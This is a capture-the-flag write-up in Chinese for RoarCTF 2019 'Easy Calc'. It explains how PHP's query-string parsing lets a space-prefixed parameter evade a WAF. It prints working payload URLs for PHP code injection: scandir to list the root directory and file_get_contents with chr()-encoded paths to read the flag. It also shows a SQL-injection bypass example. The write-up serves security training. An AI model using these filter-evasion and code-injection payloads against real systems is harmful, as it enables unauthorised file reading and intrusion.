[RoarCTF 2019]Easy Calc
进入题目是一个计算器的功能界面
查看源代码,可以发现是有WAF的,且存在一个calc.php文件
这里接收一个num参数,可以看到这里创建了一个黑名单列表,然后用正则是去匹配,进行非法参数的过滤。
那这题就是要绕过这个过滤和过一个WAF了。先传入一个?num=1测试一下。
传入字母就会报错,这里应该是被WAF文件给拦截了。
要对这WAF进行绕过,这里就涉及到一个知识点了。
PHP的字符串解析特性
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
在了解到PHP的字符串解析之后,我们思考一个问题,WAF它不让num参数传入字母,所以我们不能让WAF文件检测到字母,但是我们又需要传入字母来构成我们的命令,这种情况下我们该怎么对其进行绕过呢?
绕过方法
因为num不可以传入字母,但是我们在num参数之前添加一个空格,这样在PHP的语言特性下会默认删除这个空格,但是WAF会因为这个空格导致检测不到num这个参数,最终导致WAF被绕过。
Payload
http://node4.buuoj.cn:25591/calc.php?num=a #被拦截
http://node4.buuoj.cn:25591/calc.php? num=a #绕过WAF
现在我们就对WAF进行了绕过,接下来就是一些常规操作了。
http://node4.buuoj.cn:25591/calc.php? num=var_dump(scandir(chr(47)))
scandir():列出 参数目录 中的文件和目录,要不然我们怎么知道flag在哪。
因为过滤了"/"符号,所以我们用chr(47)进行绕过
最终Payload
http://node4.buuoj.cn:25591/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
__EOF__
本文链接: https://www.cnblogs.com/sfsec/p/15205011.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!